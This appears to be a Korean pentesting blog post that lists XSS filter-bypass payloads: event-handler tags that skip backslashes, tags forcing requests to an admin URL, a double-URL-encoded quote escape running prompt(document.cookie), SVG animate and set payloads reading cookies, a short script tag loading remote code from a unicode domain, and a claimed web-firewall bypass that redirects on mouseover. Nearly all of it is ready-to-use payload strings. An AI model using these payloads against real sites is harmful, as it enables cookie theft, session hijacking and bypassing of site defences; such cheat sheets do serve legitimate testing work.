모의해킹/WEB

XSS 공격 우회 기법 정리

h4ckpr1n 2022. 10. 22. 01:46

1. 백슬래시 필터링

: 백슬래시 안써도 되는 친구들 쓰면 됨.

  • <svg onload="alert('1')">
  • <img src=# onmouceover="alert('1')">
  • <img src=# onclick="alert('1')">

 

 

2. 링크

  • <img src="http://127.0.0.1:8000/notice?id=admin">
  • <embed src="http://127.0.0.1:8000/notice?id=admin"/>
  • <link rel="stylesheet" href="http://127.0.0.1:8000/notice?id=admin">
  • <object data=’./notice?id=admin’ ></object>

 

 

3. 더블쿼터 필터링

삽입구문 : %5d%2522%29%0a%0aprompt(document.cookie);%0a%0a%28%2522

결과 :

]%22)

prompt(document.cookie);

(%22

더블쿼터(")를 URL 인코딩하면 %22인데, 현재 %22 가 필터링 되고 있어서 %를 URL 인코딩하고 합쳐주면 된다. (% 는 인코딩하면 %25)

%2522%22가 되서 넘어갈때는 "로 넘어간다

 

 

4. x- 태그 필터링

  • <svg </onload =”1> (=prompt,(1)) “”>

출처 : Bypass XSS Protection (Event Handler filtering) with string+slash(XSS 우회기법)

 

 

5. Tiny XSS

  • <script/src=//⑮.₨

 

6. 특수 태그

<svg><animate onend=alert(document.cookie) attributeName=x dur=1s>​
<svg><set onbegin=alert(1) attributename=x dur=1s>
 
7. 그 외
<input type=text onfocus=alert(document.cookie)>
 
8. 웹 방화벽 우회 성공 
<input type="text" style="width:120px;ime-mode:inactive" value="test" onmouseover=window.location="https://naver.com">
 

<img/src="x"/onerror="window.alert(1)">